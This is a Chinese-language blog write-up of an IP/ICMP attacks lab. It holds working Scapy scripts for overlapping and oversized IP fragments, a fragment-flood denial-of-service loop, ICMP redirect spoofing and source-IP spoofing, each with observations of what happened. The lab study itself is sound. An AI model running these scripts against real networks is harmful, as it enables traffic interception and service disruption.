IP/ICMP Attacks Lab

Tasks 1: IP 分片

Task 1.a:构造IP分片

在这里,我们需要构造一个UDP报文,并且将它发给UDP server端

关于UDP中checksum的一些点

It should be noted that the UDP checksum field needs to be set correctly. (因为UDP并没有一个向TCP一样的MSS来进行限制,所以在计算checksum的时候,其实传递到运输层还是整个数据,所以checksum的计算应该是整个数据包,而不是一个分片上的数据)If we do not set this field, Scapy will calculate the checksum for us, but this checksum will only be based on the data in the first fragment, which is incorrect. If we set the checksum field to zero, Scapy will leave it alone. Moreover, the recipient will not validate the UDP checksum if it sees a zero in the checksum field, because in UDP, checksum validation is optional.

相关代码如下

#!/usr/bin/python3 
from scapy.all import *

# Construct IP header 
ip = IP(src="10.0.2.4", dst="10.0.2.5")
ip.id = 1000 # Identification 
ip.frag = 0 # Offset of this IP fragment 
ip.flags = 1 # Flags
ip.proto=17

# Construct UDP header 
udp = UDP(sport=7070, dport=9090) 
udp.len = 104 # This should be the combined length of all fragments

# Construct payload 
payload = 'A' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out 
pkt = ip/udp/payload # For other fragments, we should use ip/payload 
pkt[UDP].chksum = 0 # Set the checksum field to zero 
send(pkt, verbose=0)


# Construct IP header 
ip2 = IP(src="10.0.2.4", dst="10.0.2.5")
ip2.id = 1000 # Identification 
ip2.frag = 5 # Offset of this IP fragment 
ip2.flags = 1 # Flags
ip2.proto=17

# Construct payload 
payload2 = 'B' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out 
pkt2 = ip2/payload2 # For other fragments, we should use ip/payload 
#pkt[UDP].checksum = 0 # Set the checksum field to zero 
send(pkt2, verbose=0)



# Construct IP header 
ip3 = IP(src="10.0.2.4", dst="10.0.2.5")
ip3.id = 1000 # Identification 
ip3.frag = 9 # Offset of this IP fragment 
ip3.flags = 0 # Flags
ip3.proto=17

# Construct payload 
payload3 = 'C' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out 
pkt3 = ip3/payload3 # For other fragments, we should use ip/payload 
#pkt[UDP].checksum = 0 # Set the checksum field to zero 
send(pkt3, verbose=0)

在client和server端使用wireshark来进行抓包

task1-a-2

可以看到此时的分片只有第一个是有UDP报文头部的,而之后的分片是在数据部分直接加上了IP的头部

此时,对应server端的terminal会显示

task1-a-1

Task 1.b:内容重叠的IP分片

  1. 第一个和第二个IP分片有K个bytes的重叠部分,在这里每个fragment都还是32bytes,将K设置为了8

    首先是先发第一个分片,代码如下

    #!/usr/bin/python3 
    from scapy.all import *
    
    # Construct IP header 
    ip = IP(src="10.0.2.4", dst="10.0.2.5")
    ip.id = 1000 # Identification 
    ip.frag = 0 # Offset of this IP fragment 
    ip.flags = 1 # Flags
    ip.proto=17
    
    # Construct UDP header 
    udp = UDP(sport=7070, dport=9090) 
    udp.len = 96 # This should be the combined length of all fragments
    
    # Construct payload 
    payload = 'A' * 24 + 'D' * 8 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt = ip/udp/payload # For other fragments, we should use ip/payload 
    pkt[UDP].chksum = 0 # Set the checksum field to zero 
    send(pkt, verbose=0)
    
    
    # Construct IP header 
    ip2 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip2.id = 1000 # Identification 
    ip2.frag = 4 # Offset of this IP fragment 
    ip2.flags = 1 # Flags
    ip2.proto=17
    
    # Construct payload 
    payload2 =  'D' * 8  + 'B' * 24 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt2 = ip2/payload2 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt2, verbose=0)
    
    
    
    # Construct IP header 
    ip3 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip3.id = 1000 # Identification 
    ip3.frag = 8 # Offset of this IP fragment 
    ip3.flags = 0 # Flags
    ip3.proto=17
    
    # Construct payload 
    payload3 = 'C' * 32 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt3 = ip3/payload3 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt3, verbose=0)

    通过代码可以看到有8byte的“D”在第一第二分片上是重叠的,之后在wireshark能够抓到相应的包

    task1-b-2

    之后在server端也能够显示

    task1-b-1

  2. 之后我们尝试先发送第二个IP分片,再来发送第一个IP分片,看在server端如何显示,调整一下上面代码的发包顺序即可

    #!/usr/bin/python3 
    from scapy.all import *
    
    
    # Construct IP header 
    ip2 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip2.id = 1000 # Identification 
    ip2.frag = 4 # Offset of this IP fragment 
    ip2.flags = 1 # Flags
    ip2.proto=17
    
    # Construct payload 
    payload2 =  'D' * 8  + 'B' * 24 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt2 = ip2/payload2 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt2, verbose=0)
    
    
    # Construct IP header 
    ip = IP(src="10.0.2.4", dst="10.0.2.5")
    ip.id = 1000 # Identification 
    ip.frag = 0 # Offset of this IP fragment 
    ip.flags = 1 # Flags
    ip.proto=17
    
    # Construct UDP header 
    udp = UDP(sport=7070, dport=9090) 
    udp.len = 96 # This should be the combined length of all fragments
    
    # Construct payload 
    payload = 'A' * 24 + 'D' * 8 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt = ip/udp/payload # For other fragments, we should use ip/payload 
    pkt[UDP].chksum = 0 # Set the checksum field to zero 
    send(pkt, verbose=0)
    
    
    # Construct IP header 
    ip3 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip3.id = 1000 # Identification 
    ip3.frag = 8 # Offset of this IP fragment 
    ip3.flags = 0 # Flags
    ip3.proto=17
    
    # Construct payload 
    payload3 = 'C' * 32 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt3 = ip3/payload3 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt3, verbose=0)

    在client运行wireshark,发现顺序发生改变

    task1-b-3

    但是在server的terminal上面依旧会显示

    task1-b-4

    这是由于在server端会进行重组,最终还原为一个完整的IP数据包再递交给上层协议

  3. 第二个fragment完全包含在第一个fragment当中,并且按第一个第二个的顺序来发分片

    在这里我是把第一个分片的data设为了64个“A”,第二个分片是32个”B”,但是偏移量和第一个分片的后32个一样

    #!/usr/bin/python3 
    from scapy.all import *
    
    # Construct IP header 
    ip = IP(src="10.0.2.4", dst="10.0.2.5")
    ip.id = 1000 # Identification 
    ip.frag = 0 # Offset of this IP fragment 
    ip.flags = 1 # Flags
    ip.proto=17
    
    # Construct UDP header 
    udp = UDP(sport=7070, dport=9090) 
    udp.len = 104 # This should be the combined length of all fragments
    
    # Construct payload 
    payload = 'A' * 64 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt = ip/udp/payload # For other fragments, we should use ip/payload 
    pkt[UDP].chksum = 0 # Set the checksum field to zero 
    send(pkt, verbose=0)
    
    
    # Construct IP header 
    ip2 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip2.id = 1000 # Identification 
    ip2.frag = 5 # Offset of this IP fragment 
    ip2.flags = 1 # Flags
    ip2.proto=17
    
    # Construct payload 
    payload2 =  'B' * 32 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt2 = ip2/payload2 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt2, verbose=0)
    
    
    
    # Construct IP header 
    ip3 = IP(src="10.0.2.4", dst="10.0.2.5")
    ip3.id = 1000 # Identification 
    ip3.frag = 9 # Offset of this IP fragment 
    ip3.flags = 0 # Flags
    ip3.proto=17
    
    # Construct payload 
    payload3 = 'C' * 32 # Put 80 bytes in the first fragment
    
    # Construct the entire packet and send it out 
    pkt3 = ip3/payload3 # For other fragments, we should use ip/payload 
    #pkt[UDP].checksum = 0 # Set the checksum field to zero 
    send(pkt3, verbose=0)

    task1-b-6

    在server显示当中,第一个包完全把第二包覆盖上去了

    task1-b-5

  4. 之后和上面一样,调转一下顺序即可,代码在上面修改就行

    wireshark抓包顺序的结果发生了改变

    task1-b-8

    但是在server端的显示是不发生改变的

    task1-b-7

Task 1.c:发送一个很大的数据包

思路如下,在这里我们只是随便的进行一个构造,但是IP分片加起来的总长度(IP.length)要大于65536,代码如下

#!/usr/bin/python3 
from scapy.all import *


# Construct IP header 
ip = IP(src="10.0.2.4", dst="10.0.2.5")
ip.id = 1000 # Identification 
ip.frag = 0 # Offset of this IP fragment 
ip.flags = 1 # Flags
ip.proto=17

# Construct UDP header 
udp = UDP(sport=7070, dport=9090) 
udp.len = 64 # This should be the combined length of all fragments

# Construct payload 
payload = 'A' * 64000 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out 
pkt = ip/udp/payload # For other fragments, we should use ip/payload 
pkt[UDP].chksum = 0 # Set the checksum field to zero 
send(pkt, verbose=0)



# Construct IP header 
ip2 = IP(src="10.0.2.4", dst="10.0.2.5")
ip2.id = 1000 # Identification 
ip2.frag = 8001 # Offset of this IP fragment 
ip2.flags = 1 # Flags
ip2.proto=17

# Construct payload 
payload2 =  'B' * 1536 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out 
pkt2 = ip2/payload2 # For other fragments, we should use ip/payload 
#pkt[UDP].checksum = 0 # Set the checksum field to zero 
send(pkt2, verbose=0)

之后在server端观察到的现象是没有字符被打印出来

task1-c-1

而用wireshark进行抓包,发现是可以抓到的

task1-c-2

推测是由于在server端进行重组的时候发现报文超过IP报文长度限制,没法递交给上一层协议,最后被丢弃

Task 1.d:发送一个不完整的IP数据包

关于拒绝服务攻击和IP分片之间的一些关系

. In the attack, Machine A sends a lot of incomplete IP packets to B, i.e., these packets consist of IP fragments, but some fragments are missing. All these incomplete IP packets will stay in the kernel, until they time out. Potentially, this can cause the kernel to commit a lot of kernel memory. In the past, this had resulted in denial-of-service attacks on the server.

思路:在A里面通过循环的方式发送大量的incomplete IP packets来占满kernal

code

#!/usr/bin/python3 
from scapy.all import *

i = 0
while i < 1000000 :
	# Construct IP header 
	ip = IP(src="10.0.2.4", dst="10.0.2.5")
	ip.id = i # Identification 
	ip.frag = 0 # Offset of this IP fragment 
	ip.flags = 1 # Flags
	ip.proto=17

	# Construct UDP header 
	udp = UDP(sport=7070, dport=9090) 
	udp.len = 104 # This should be the combined length of all fragments

	# Construct payload 
	payload = 'A' * 64 # Put 80 bytes in the first fragment

	# Construct the entire packet and send it out 
	pkt = ip/udp/payload # For other fragments, we should use ip/payload 
	pkt[UDP].chksum = 0 # Set the checksum field to zero 
	send(pkt, verbose=0)
	i = i + 1

wireshark抓包情况

task1-d-1

但是之后等待运行半天,依旧没有实现拒绝服务,运行之前的程序,发现还是能够在terminal上面进行显示,但是当真正把空间占满,应该是不会显示的

Task 2:ICMP重定向攻击

理解:ICMP是IP层的一个协议,ICMP 允许主机或路由器报告差错情况和提供异常报告给发送者,以便发送者进行补偿行为。

参考blog :理解ICMP重定向ICMP协议和类型

ICMP-redirect

code:(10.0.2.4为中间人/VM M,而10.0.2.5为VM A)

#!/usr/bin/python3
from scapy.all import *


ip = IP(src = "10.0.2.1", dst = "10.0.2.5")
icmp = ICMP(type= 5, code= 0)
icmp.gw = ('10.0.2.4')
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = "10.0.2.5", dst = "182.61.200.6")
send(ip/icmp/ip2/UDP());

首先先伪造最外面的IP头部,src是之前的网关的IP地址,而后面的dst为受害者IP地址,之后就是ICMP redirect报文的头部,其中gw代表应该发往的网关IP地址,在这里是VM M的IP地址,之后就是VM A最开始发送往网关1的报文,正是这个报文的开始导致了后面重定向的需要,在这里作为验证信息出现,之后运行即可

在wireshark里面的抓包情况

task2-1

之后在VM A上面进行ip route get的验证

task2

可以看到,现在是通过了主机M

  1. Q:Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.

    A:将code改为

    #!/usr/bin/python3
    from scapy.all import *
    
    
    ip = IP(src = "10.0.2.1", dst = "10.0.2.5")
    icmp = ICMP(type= 5, code= 0)
    icmp.gw = ('103.41.167.234')
    # The enclosed IP packet should be the one that
    # triggers the redirect message.
    ip2 = IP(src = "10.0.2.5", dst = "182.61.200.6")
    send(ip/icmp/ip2/UDP());

    gw里面的IP并不在LAN网络里面,运行后发现,无法重定向到该主机、

    task2-2

    原因:重定向是为了能够最优化的穿过网络,使得流量能够更快的传递到目的地,参考了解ICMP重定向消息,而当gw所指向的目的网关/主机不在lan网络里面,肯定需要先通过我的默认网关之后进行绕行,这不符合重定向的本意

  2. 不能,将gw改为10.0.2.6,这是一台关机的电脑,运行结果

    task2-3

    可以看到仍然是通过了默认网关,原因是,10.0.2.6在关机状态没法进行接受并转发相应IP数据包的功能

Task 3:路由和反向过滤

  1. 首先是对于路由表表项的理解,参考blog:

    https://stackoverflow.com/questions/8599424/understanding-routing-table-entry

    https://superuser.com/questions/347240/why-is-192-168-1-0-needed-in-route-table

    https://blog.csdn.net/yueyadao/article/details/86709503?biz_id=102&utm_term=%E8%B7%AF%E7%94%B1%E8%A1%A8%E8%A1%A8%E9%A1%B9&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-86709503&spm=1018.2118.3001.4187

    在这里我的R上面的两个IP地址分别为10.0.2.5以及192.168.60.1,但是在A上面默认的发包的网关IP是10.0.2.1,调整表项

    task3-1

    之后在B上面ping A(10.0.2.4)结果如下

    task3-2

    在A上面ping B(192.168.60.5)注意路由表表项是有生存时间的

    task3-3

    在B上面telnet(TCP链接)A

    task3-5

    反之,在A上面telnet B

    task3-4

  2. 首先是伪造属于10.0.2.0/24的IP地址,选择10.0.2.6作为src地址

    code如下:

    #!/usr/bin/python3
    from scapy.all import *
    
    a = IP()
    a.src = "10.0.2.6"
    a.dst = "192.168.60.5"
    
    b = ICMP()
    p = a/b
    send(p)

    在R上面运行wireshark观察到的结果

    task3-6

    在分析是否进行转发到内部网络的时候,可以分析MAC地址,在两个ICMP报文中,可以看到他们的MAC地址发生了改变,第一个包的源MAC是A的MAC地址,但是会发现是no response found,之后紧接着下一个ICMP的报文的源MAC地址就是R上面的接入内部网络的MAC地址,所以会转发到内部网络

    task3-7

    在这里我们可以看到在内部网络里面的ICMP报文的源MAC地址是R上面其中一个接口的MAC地址

  3. 在这里我们伪造源IP地址为192.168.60.6,将上面code改一下即可

    首先来看R的截图

    task3-9

    结合相关的反向路由的点

Linux kernel implements a filtering rule called reverse path filtering, which ensures the symmetric routing rule. When a packet with the source IP address X comes from an interface (say I), the OS will check whether the return packet will return from the same interface, i.e., whether the routing for packets going to X is symmetric. To check that, the OS conducts a reverse lookup, finds out which interface will be used to route the return packets back to X. If this interface is not I, i.e., different from where the original packet comes from, the routing path is asymmetric. In this case, the kernel will drop the packet可以

​ 可以分析出来在我们的spoofed的数据包发送到R的时候,由于return packet并不会从10.0.2.0/24的网络在R上的接口发出,所以这个包会被进行丢弃

  1. 伪造地址为1.2.3.4

    code如下

    #!/usr/bin/python3
    from scapy.all import *
    
    a = IP()
    a.src = "1.2.3.4"
    a.dst = "192.168.60.5"
    
    b = ICMP()
    p = a/b
    send(p)

    之后在R上面运行wireshark抓包

    task3-10

    可以发现第一个ICMP的源MAC地址是A的MAC地址,第二个ICMP request的源MAC地址是R接入内部网络的接口的MAC地址,可以看到是转入到内部网络中了

    结合路由表来分析原因可知,当IP.src为1.2.3.4的时候,发到的R的接口假设为R1,那么这个包的return packet的包也应该是从R1中发出,所以反向也应该是这个地址(猜想是即便在路由表中只有当是10.0.2.0/24的主机才会将IP包发过来,但是1.2.3.4也从R1发过来,所以回去的话也应该是这个端口发出)

    B上面wireshark的截图

    task3-11

回顾&参考blog

计算机网络协议架构详解

数据报分片


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

process-lab 上一篇
ARP-Cache-Poisoning-Attack 下一篇